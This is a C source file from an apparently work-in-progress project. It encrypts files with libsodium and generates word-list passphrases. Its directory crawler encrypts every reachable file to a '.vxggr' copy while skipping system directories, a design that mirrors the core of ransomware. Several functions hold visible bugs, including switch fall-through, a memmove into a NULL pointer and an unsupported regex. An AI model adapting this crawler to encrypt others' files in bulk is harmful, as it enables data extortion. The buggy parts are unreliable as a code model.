summaryrefslogtreecommitdiff
path: root/src/encryption.c
blob: 7d6456422f9af6d59ac6202ddfe60670a0483b70 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
/**
 * @file encryption.c
 * @author syxhe (https://t.me/syxhe)
 * @brief A collection of all encryption related functions
 * @version 0.1
 * @date 2025-06-09
 *
 * @copyright Copyright (c) 2026, [Simplified BSD License](../../LICENSE)
 *
 */

#define _GNU_SOURCE 1

#ifndef __VXGG_REWRITE___ENCRYPTION_C___1481879318188___
#define __VXGG_REWRITE___ENCRYPTION_C___1481879318188___ 1

#define TPSIZE (1<<13)

#include "shared.c"
#include "threadpool.c"

#include <sodium.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#include <dirent.h>
#include <stdarg.h>
#include <unistd.h>

#include <stdio.h>
#include <string.h>

#include <regex.h>

#include <errno.h>
#include <error.h>

/// Chunk size for encryption/decryption
#define CHUNKSIZE (1 << 9)

//! A list of possible words for password creation
#define PASSWORD_WORDS ((const char * const []){\
    "the", "of", "to", "and", "for", "our", "their", "has", "in", "he", "a", "them", "that", "these", "by", "have", "we", \
    "us", "people", "which", "all", "is", "with", "laws", "be", "are", "his", "states", "on", "they", "right", "it", "from", \
    "government", "such", "among", "powers", "most", "an", "time", "should", "new", "as", "been", "colonies", "assent", \
    "large", "at", "independent", "free", "united", "when", "mankind", "hold", "rights", "governments", "consent", "its", \
    "long", "themselves", "abolishing", "usurpations", "absolute", "repeated", "this", "world", "refused", "pass", "other", \
    "others", "without", "justice", "peace", "power", "seas", "war", "do", "declaration", "america", "becomes", "necessary", \
    "political", "equal", "declare", "causes", "separation", "men", "happiness", "any", "form", "alter", "or", "will", \
    "forms", "same", "object", "off", "necessity", "history", "great", "britain", "tyranny", "over", "public", "good", \
    "unless", "suspended", "so", "would", "legislature", "only", "legislative", "bodies", "purpose", "into", "dissolved", \
    "state", "endeavoured", "refusing", "hither", "conditions", "establishing", "offices", "out", "armies", "legislatures", \
    "render", "jurisdiction", "foreign", "acts", "pretended", "trial", "inhabitants", "cases", "transporting", "rule", \
    "declaring", "here", "protection", "against", "lives", "circumstances", "ages", "totally", "friends", "brethren", "whose", \
    "every", "may", "therefore", "ought", "unanimous", "thirteen", "course", "human", "events", "one", "dissolve", "bands", \
    "connected", "another", "assume", "earth", "separate", "station", "nature", "natures", "god", "entitle", "decent", \
    "respect", "opinions", "requires", "impel", "truths", "self", "evident", "created", "endowed", "creator", "certain", \
    "unalienable", "life", "liberty", "pursuit", "secure", "instituted", "deriving", "just", "governed", "whenever", \
    "destructive", "ends", "abolish", "institute", "laying", "foundation", "principles", "organizing", "shall", "seem", \
    "likely", "effect", "safety", "prudence", "indeed", "dictate", "established", "not", "changed", "light", "transient", \
    "accordingly", "experience", "hath", "shewn", "more", "disposed", "suffer", "while", "evils", "sufferable", "than", \
    "accustomed", "but", "train", "abuses", "pursuing", "invariably", "evinces", "design", "reduce", "under", "despotism", \
    "duty", "throw", "provide", "guards", "future", "security", "patient", "sufferance", "now", "constrains", "former", \
    "systems", "present", "king", "injuries", "having", "direct", "establishment", "prove", "let", "facts", "submitted", \
    "candid", "wholesome", "forbidden", "governors", "immediate", "pressing", "importance", "operation", "till", "obtained", \
    "utterly", "neglected", "attend", "accommodation", "districts", "those", "relinquish", "representation", "inestimable", \
    "formidable", "tyrants", "called", "together", "places", "unusual", "uncomfortable", "distant", "depository", "records", \
    "sole", "fatiguing", "compliance", "measures", "representative", "houses", "repeatedly", "opposing", "manly", "firmness", \
    "invasions", "after", "dissolutions", "cause", "elected", "whereby", "incapable", "annihilation", "returned", "exercise", \
    "remaining", "mean", "exposed", "dangers", "invasion", "convulsions", "within", "prevent", "population", "obstructing", \
    "naturalization", "foreigners", "encourage", "migrations", "raising", "appropriations", "lands", "obstructed", \
    "administration", "judiciary", "made", "judges", "dependent", "alone", "tenure", "amount", "payment", "salaries", \
    "erected", "multitude", "sent", "swarms", "officers", "harrass", "eat", "substance", "kept", "times", "standing", \
    "affected", "military", "superior", "civil", "combined", "subject", "constitution", "unacknowledged", "giving", \
    "legislation", "quartering", "armed", "troops", "protecting", "mock", "punishment", "murders", "commit", "cutting", \
    "trade", "parts", "imposing", "taxes", "depriving", "many", "benefits", "jury", "beyond", "tried", "offences", "system", \
    "english", "neighbouring", "province", "therein", "arbitrary", "enlarging", "boundaries", "once", "example", "fit", \
    "instrument", "introducing", "taking", "away", "charters", "valuable", "altering", "fundamentally", "suspending", "own", \
    "invested", "legislate", "whatsoever", "abdicated", "waging", "plundered", "ravaged", "coasts", "burnt", "towns", \
    "destroyed", "mercenaries", "compleat", "works", "death", "desolation", "already", "begun", "cruelty", "perfidy", \
    "scarcely", "paralleled", "barbarous", "unworthy", "head", "civilized", "nation", "constrained", "fellow", "citizens", \
    "taken", "captive", "high", "bear", "arms", "country", "become", "executioners", "fall", "hands", "excited", "domestic", \
    "insurrections", "amongst", "bring", "frontiers", "merciless", "indian", "savages", "known", "warfare", "undistinguished", \
    "destruction", "sexes", "stage", "oppressions", "petitioned", "redress", "humble", "terms", "petitions", "answered", \
    "injury", "prince", "character", "thus", "marked", "act", "define", "tyrant", "unfit", "ruler", "nor", "wanting", \
    "attentions", "brittish", "warned", "attempts", "extend", "unwarrantable", "reminded", "emigration", "settlement", \
    "appealed", "native", "magnanimity", "conjured", "ties", "common", "kindred", "disavow", "inevitably", "interrupt", \
    "connections", "correspondence", "too", "deaf", "voice", "consanguinity", "must", "acquiesce", "denounces", "rest", \
    "enemies", "representatives", "general", "congress", "assembled", "appealing", "supreme", "judge", "rectitude", \
    "intentions", "name", "authority", "solemnly", "publish", "absolved", "allegiance", "british", "crown", "connection", \
    "between", "full", "levy", "conclude", "contract", "alliances", "establish", "commerce", "things", "support", "firm", \
    "reliance", "divine", "providence", "mutually", "pledge", "each", "fortunes", "sacred", "honor"\
})
//! Short macro for getting the `PASSWORD_WORDS` array size
#define PASSWORD_WORDS_LEN (STATIC_ARRAY_LEN(PASSWORD_WORDS))

/**
 * @brief open() with the flags O_TMPFILE, O_WRONLY, O_CLOEXEC, and O_SYNC. Opened with mode S_IRUSR, S_IWUSR
 *
 * @param dest The filename the new descriptor should have. Must be non-null
 * @retval (int)[-1,int] A new file descriptor. -1 on error
 */
int maketmp(const char * const dest) {
    if(!dest) ERRRET(EINVAL, -1);
    return open(dest, (O_TMPFILE | O_WRONLY | O_CLOEXEC | O_SYNC), (S_IRUSR | S_IWUSR));
}

/**
 * @brief Link a file descriptor into the filesystem
 *
 * @param target New filename the descriptor should have
 * @param tgfd The file descriptor to link
 * @retval (int)[-1, 0] 0 on success, -1 on error
 */
int linkto(const char * const target, int tgfd) {
    if(!target || tgfd < 0) ERRRET(EINVAL, -1);
    if(access(target, F_OK) != -1) ERRRET(EEXIST, -1);

    char *path = NULL;
    int res = -1;

    asprintf(&path, "/proc/self/fd/%d", tgfd);
    if(!path) {WARN(errno, "<linkto> Couldn't get path to move file into system",); goto CLEANUP_linkto;}

    res = linkat(AT_FDCWD, path, AT_FDCWD, target, AT_SYMLINK_FOLLOW);

CLEANUP_linkto:
    free(path);
    return res;
}



/**
 * @brief Encrypt src to dst using libsodium's xchacha encryption suite
 *
 * @param src File to encrypt
 * @param dst Destination to write encrypted file
 * @param key Key for encryption
 * @retval (int)[-1, 0] Returns 0 on success, sets errno and returns -1 on error
 * @todo Rewrite this into being one of my own functions instead of copying from libsodium
 */
int encrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
    if(!src || !dst || !key) ERRRET(EINVAL, -1);

    unsigned char buf[CHUNKSIZE], cbuf[CHUNKSIZE + crypto_secretstream_xchacha20poly1305_ABYTES];
    unsigned char header[crypto_secretstream_xchacha20poly1305_HEADERBYTES];
    crypto_secretstream_xchacha20poly1305_state state;
    unsigned long long cbuflen;
    unsigned char tag;
    size_t bytesread;
    int eof;

    // Write the header
    crypto_secretstream_xchacha20poly1305_init_push(&state, header, key);
    if(fwrite(header, 1, sizeof(header), dst) < sizeof(header)) {
        if(ferror(dst)) {
            WARN(errno, "<encrypttofile> Could not write header",);
            return -1;
        }
    }

    // Encrypt each chunk
    do {
        if((bytesread = fread(buf, 1, sizeof(buf), src)) < sizeof(buf))
            if(ferror(src)) {
                WARN(errno, "<encrypttofile> Could not read from source",);
                return -1;
            }
        eof = feof(src);
        tag = eof ? crypto_secretstream_xchacha20poly1305_TAG_FINAL : 0;

        crypto_secretstream_xchacha20poly1305_push(&state, cbuf, &cbuflen, buf, bytesread, NULL, 0, tag);
        if(fwrite(cbuf, 1, (size_t)cbuflen, dst) < (size_t)cbuflen)
            if(ferror(dst)) {
                WARN(errno, "<encrypttofile> Could not write to target",);
                return -1;
            }
    } while (!eof);

    return 0;
}

/**
 * @brief Decrypt src to dst using libsodium's xchacha encryption suite
 *
 * @param src File to decrypt
 * @param dst Destination to write decrypted file
 * @param key Key used to encrypt
 * @retval (int)[-1, 0] Returns 0 on success, sets errno and returns -1 on error
 * @todo Rewrite this into being one of my own functions instead of copying from libsodium
 */
int decrypttofile(FILE *src, FILE *dst, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
    if(!src || !dst || !key) ERRRET(EINVAL, -1);

    unsigned char  cbuf[CHUNKSIZE + crypto_secretstream_xchacha20poly1305_ABYTES], buf[CHUNKSIZE];
    unsigned char  header[crypto_secretstream_xchacha20poly1305_HEADERBYTES];
    crypto_secretstream_xchacha20poly1305_state state;
    unsigned long long buflen;
    unsigned char  tag;
    size_t bytesread;
    int eof;

    // Read the header
    if(fread(header, 1, sizeof(header), src) < sizeof(header)) {
        if(ferror(src)) {
            WARN(errno, "<decrypttofile> Couldn't read header", );
            return -1;
        }
    }

    // Make sure the header isn't fuckey
    if(crypto_secretstream_xchacha20poly1305_init_pull(&state, header, key) != 0) {
        WARN(errno, "<decrypttofile> Incomplete header", );
        return -1;
    }

    // Decrypt each chunk
    do {
        if((bytesread = fread(cbuf, 1, sizeof(cbuf), src)) < sizeof(cbuf)) {
            if(ferror(src)) {
                WARN(errno, "<decrypttofile> Ran into problem reading for decryption", );
                return -1;
            }
        }
        eof = feof(src);

        if (crypto_secretstream_xchacha20poly1305_pull(&state, buf, &buflen, &tag, cbuf, bytesread, NULL, 0) != 0) {
            WARN(errno, "<decrypttofile> Corrupted chunk", );
            return -1;
        }

        if(tag == crypto_secretstream_xchacha20poly1305_TAG_FINAL && !eof) {
            WARN(errno, "<decrypttofile> End of stream before end of file", );
            return -1;
        }
        if(eof && tag != crypto_secretstream_xchacha20poly1305_TAG_FINAL) {
            WARN(errno, "<decrypttofile> End of file before end of stream", );
            return -1;
        }

        fwrite(buf, 1, (size_t)buflen, dst);
    } while(! eof);

    return 0;
}

/**
 * @brief Encrypt file at `target` to `output` using Linux's named temp file system to do it in the background
 *
 * @param target
 * @param output
 * @param key
 * @retval (int)[,]
 * @todo Fill out warning messages & documentation
 */
int encryptviatmp(const char * const target, const char * const output, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
    if(!target || !output || !key) ERRRET(EINVAL, -1);

    int fd = -1, tfd = -1, res = -1, eflag = 0;
    FILE *src, *dst;
    char *targetdir;

    // Open the target file
    if((fd = open(target, O_RDONLY)) < 0) {eflag = 1; goto CLEANUP_encryptviatmp;}

    // Create a temp file for writing
    targetdir = vxdirname(output);
    if(!targetdir) {eflag = 2; goto CLEANUP_encryptviatmp;}

    // Actually get the file descriptor for the temp file
    tfd = maketmp(targetdir);
    if(tfd < 0) {eflag = 3; goto CLEANUP_encryptviatmp;}

    // Create a FILE* version of the source fd
    if(!(src = fdopen(fd, "rb"))) {eflag = 4; goto CLEANUP_encryptviatmp;}

    // Create a FILE* version of the target fd
    if(!(dst = fdopen(tfd, "wb"))) {eflag = 5; goto CLEANUP_encryptviatmp;}

    // Do the encryption now that everything has been set up
    if(encrypttofile(src, dst, key) < 0) {eflag = 6; goto CLEANUP_encryptviatmp;}

    // Link the temp file into the system
    if(linkto(output, tfd) < 0) {eflag = 7; goto CLEANUP_encryptviatmp;}

    res = 0;

CLEANUP_encryptviatmp:
    if(___VXGG___VERBOSE_ERRORS___) {
        switch (eflag) {
            case 0: break;
            case 1: WARN(errno, "<encryptviatmp> Warning: Could not open target fd \"%s\"",, target);
            case 2: WARN(errno, "<encryptviatmp> Warning: Could not get real dirname for \"%s\"",, output);
            case 3: WARN(errno, "<encryptviatmp> Warning: Could not make temp file in target dir \"%s\"",, targetdir);
            case 4: WARN(errno, "<encryptviatmp> Warning: Could not get FILE* handle for source file \"%s\"",, target);
            case 5: WARN(errno, "<encryptviatmp> Warning: Could not get FILE* handle for output file",);
            case 6: ERROR(1, ENOTRECOVERABLE, "<encryptviatmp> ERROR: I don't even have a way to cause an error here. How did you do it?",);
            case 7: WARN(errno, "<encryptviatmp> Warning: Could not link \"%s\" into system after encryption",, output);
            default: WARN(0, "<encryptviatmp> Warning: Ran into some unknown error",);
        }
    }

    free(targetdir);
    fclose(src);
    fclose(dst);
    close(fd);
    close(tfd);

    return res;
}

/**
 * @brief Decrypt the file at `encrypted` to `target`
 *
 * @param encrypted
 * @param target
 * @param key
 * @retval (int)[,]
 * @todo Fill out documentation
 */
int decryptto(const char * const target, const char * const output, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES]) {
    if(!target || !output || !key) ERRRET(EINVAL, -1);

    FILE *src = NULL, *dst = NULL;
    int fdst = -1, eflag = -1, res = -1;

    // Open the source file
    if(!(src = fopen(target, "rb"))) {eflag = 0; goto CLEANUP_decryptto;}

    // Get a temp descriptor for the temp file
    if(!(fdst = maketmp(output))) {eflag = 1; goto CLEANUP_decryptto;}

    // Open a FILE* version of the temp file
    if(!(dst = fdopen(fdst, "wb"))) {eflag = 2; goto CLEANUP_decryptto;}

    // Follow through with the rest of the decryption
    if(decrypttofile(src, dst, key) < 0) {eflag = 3; goto CLEANUP_decryptto;}

    // Link temp into system
    if(linkto(output, fdst) < 0) {eflag = 4; goto CLEANUP_decryptto;}

    res = 0;

CLEANUP_decryptto:
    fclose(src);
    fclose(dst);
    close(fdst);

    if(___VXGG___VERBOSE_ERRORS___) {
        switch (eflag) {
            case 0: WARN(errno, "<decryptto> Could not open \"%s\" for decryption",, target);              break;
            case 1: WARN(errno, "<decryptto> Could not get temp file for decryption",);                    break;
            case 2: WARN(errno, "<decryptto> Could not open \"%s\" for writing decrypted data",, output);  break;
            case 3: ERROR(1, errno, "<decryptto> How did you even cause an error?",);                      break;
            case 4: WARN(errno, "<decryptto> Could not link \"%s\" into system",, output);                 break;
            default: WARN(errno, "<decryptto> Ran into an error",);                                        break;
        }
    }

    return res;
}

/**
 * @brief Generate a password viable for use in the derivation of a key
 *
 * @param str Pointer to a string. This will be filled by a malloc'ed string of words (the password). Must be non-null
 * @param words The number of words to include in the password. A password of at least 20 words and probably not more than 40 is recommended
 * @retval (int)[-1, words] On success, returns the number of words requested. On error, returns -1 and sets errno
 */
int genpassword(char **str, unsigned int words) {
    if(words < 1) return 0;
    if(!str) ERRRET(EINVAL, -1);

    // Bootstrap the first word
    char *lstr = NULL, *tmp = NULL;
    if(asprintf(&lstr, "%s", PASSWORD_WORDS[randombytes_uniform(PASSWORD_WORDS_LEN)]) < 0)
        return -1;

    // Concat the rest of the words into the password (without leaking memory)
    int ret;
    for(unsigned int i = 1; i < words; i++) {
        ret = asprintf(&tmp, "%s %s", lstr, PASSWORD_WORDS[randombytes_uniform(PASSWORD_WORDS_LEN)]);
        sodium_memzero(lstr, strlen(lstr) + 1);
        free(lstr);
        if(ret < 0)
            return -1;

        lstr = tmp;
    }

    *str = lstr;
    return words;
}


enum CRYPTSCAN_CRYPTMODE {
    CRYPTSCAN_CRYPTMODE__UNSPEC,
    CRYPTSCAN_CRYPTMODE__ENCRYPT,
    CRYPTSCAN_CRYPTMODE__DECRYPT,
    CRYPTSCAN_CRYPTMODE__TOOBIG
};

struct _cryptscan_args {
    char *fsentry;
    taskqueue *toscan;
    ctqueue *tocrypt;
    unsigned char *key;
    enum CRYPTSCAN_CRYPTMODE mode;
};

#define ENCRYPTED_EXT ".vxggr"
#define DEFAULT_IGNORED "^(\\.config|\\.bashrc|bin|dev|lib|root|boot|etc|lib32|run|sys|usr|home|lib64|proc|sbin|var)"

/// Workaround for scandir callback not letting me pass user arguments. Gross hack, but works
static enum CRYPTSCAN_CRYPTMODE _cryptscan__selector__csm = CRYPTSCAN_CRYPTMODE__UNSPEC;
/// TODO: Map out when this is supposed to change in the other cryptscan functions

/// Helper function to select files to be encrypted
static int _cryptscan__selector(const struct dirent *de) {
    // entries with non-zero returns get included, zeros get excluded
    if(!de) return 0;
    enum CRYPTSCAN_CRYPTMODE mode = _cryptscan__selector__csm;

    if(_cryptscan__selector__csm <= CRYPTSCAN_CRYPTMODE__UNSPEC || _cryptscan__selector__csm >= CRYPTSCAN_CRYPTMODE__TOOBIG) {
        if(___VXGG___VERBOSE_ERRORS___) WARN(ERANGE, "<_cryptscan__selector> Warning: Given mode is oob. Expected: [%d, %d], Got: %d",, CRYPTSCAN_CRYPTMODE__UNSPEC + 1, CRYPTSCAN_CRYPTMODE__TOOBIG - 1, mode);
        return 0;
    }

    // Initialize static values
    static regex_t *ereg = NULL, *dreg = NULL;
    if(ereg == NULL) {
        ereg = VXGG_CALLOC(1, sizeof(*ereg));
        dreg = VXGG_CALLOC(1, sizeof(*dreg));
        if(!ereg || !dreg) {
            if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__selector> Warning: Could not initialize regular expression memory, skipping scan of fs entity \"%s\"",, de->d_name);
            return 0;
        }

        /// TODO: Check return values. Free the pointers and set to zero on error so the initialization runs again
        regcomp(ereg, "\\" ENCRYPTED_EXT "|" DEFAULT_IGNORED, REG_EXTENDED | REG_ICASE | REG_NOSUB);
        regcomp(dreg, "^(?!.+\\" ENCRYPTED_EXT ").+$|" DEFAULT_IGNORED, REG_EXTENDED | REG_ICASE | REG_NOSUB);
    }

    return regexec((mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? ereg : dreg, de->d_name, 0, NULL, 0);
}

void _cryptscan_args_free(void *data) {
    if(!data) return;
    struct _cryptscan_args *real = data;

    free(real->fsentry);
    free(real);
    return;
}

int _cryptscan__crypt(void *data);
int _cryptscan__scan(void *data);

/// helper function to deduplicate code for dealing with scandir. Scans the directory at `folder` and places dirents into their respective lists
int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ctqueue *tocrypt, enum CRYPTSCAN_CRYPTMODE mode) {
    if(!folder || !toscan || !tocrypt || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return -1;

    int res = 0;
    struct dirent **namelist = NULL;
    int entries = scandir(folder, &namelist, _cryptscan__selector, alphasort);
    if(!toscan || !tocrypt || entries < 0) {res = -1; goto _cryptscan__process_scandir_CLEANUP;}

    struct stat sb;
    task *tmptsk = NULL;
    struct _cryptscan_args *args = NULL; char tflag = 0;
    for(int i = 0; i < entries; i++) {
        args = VXGG_CALLOC(1, sizeof(*args));
        if(!args) {
            if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not create arg holder for task",);
        }
        args->fsentry = strdup(namelist[i]->d_name);
        args->tocrypt = tocrypt;
        args->toscan = toscan;
        args->mode = mode;
        if(!args->fsentry) {if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not duplicate file \"%s\"s name for processing",, namelist[i]->d_name); continue;}

        switch(namelist[i]->d_type) {
            // Try to stat the file if it's unknown
            case DT_UNKNOWN:
            if(stat(namelist[i]->d_name, &sb) < 0) goto UNKNOWN;
            if(S_ISDIR(sb.st_mode)) goto SCAN;
            if(S_ISREG(sb.st_mode)) goto CRYPT;
            break;


            // Add it to the ctq
            case DT_REG: CRYPT:
            tmptsk = task_new(_cryptscan__crypt, _cryptscan_args_free, args);
            if(!tmptsk) {
                if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate crypt task for \"%s\"",, args->fsentry);
                break;
            }

            if(ctqueue_waitpush(tocrypt, tmptsk) < 0) {
                if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not add crypt task to ctq",);
                task_free(tmptsk);
                break;
            }

            res++;
            tflag++;
            break;


            // Add it to the scanlist
            case DT_DIR: SCAN:
            tmptsk = task_new(_cryptscan__scan, _cryptscan_args_free, args);
            if(!tmptsk) {
                if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate scan task for \"%s\"",, args->fsentry);
                break;
            }

            if(taskqueue_push(toscan, tmptsk) < 0) {
                if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not add scan task to scanlist",);
                task_free(tmptsk);
                break;
            }

            res++;
            tflag++;
            break;


            // Ignore or spit out a warning
            default: UNKNOWN:
            if(___VXGG___VERBOSE_ERRORS___)
                WARN(ENOSYS, "<_cryptscan__process_scandir> Info: file \"%s\"s type is unsupported",, namelist[i]->d_name);
            break;
        }
        if(!tflag) _cryptscan_args_free(args);
        tflag = 0;
    }

_cryptscan__process_scandir_CLEANUP:
    for(int i = 0; i < entries; i++) {
        free(namelist[i]);
    }
    free(namelist);

    return res;
}

int _cryptscan__scan(void *data) {
    if(!data) return -1;
    struct _cryptscan_args *real = data;
    return _cryptscan__process_scandir(real->fsentry, real->toscan, real->tocrypt, real->mode);
}

/// TODO: Implement
int _cryptscan__crypt(void *data) {
    if(!data) return -1;

    struct _cryptscan_args *real = data;
    char *target = NULL, *output = NULL;

    // Read data for filename & crypt mode to run the task
    int (*fp)(const char *const, const char *const, const unsigned char *) = (real->mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? encryptviatmp : decryptto;

    // If encrypting, take filename and append .vxggr to end. If decrypting, find .vxggr extension and truncate
    target = real->fsentry;
    output = (real->mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? vxgg_sstrcat(target, ".vxggr") : memmove(output, target, strlen(target) - 6);
    /// TODO: Keep track of the concat'ed name and free it once it's done being used

    return fp(target, output, real->key);
}

ctqueue * cryptscan(int threads, const char * const start, enum CRYPTSCAN_CRYPTMODE mode) {
    if(!start || threads < 1 || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return NULL;

    taskqueue *toscan = taskqueue_new();
    ctqueue *tocrypt = ctqueue_init(threads);

    // Initialize the lists
    if(_cryptscan__process_scandir(start, toscan, tocrypt, mode) < 1) goto cryptscan_ERR;

    // Loop through the scanlist until it's empty
    while(taskqueue_size(toscan) > 0) {
        task_fired(taskqueue_pop(toscan));
    }

    taskqueue_free(toscan);
    return tocrypt;

cryptscan_ERR:
    taskqueue_free(toscan);
    ctqueue_free(tocrypt);

    return NULL;
}

#endif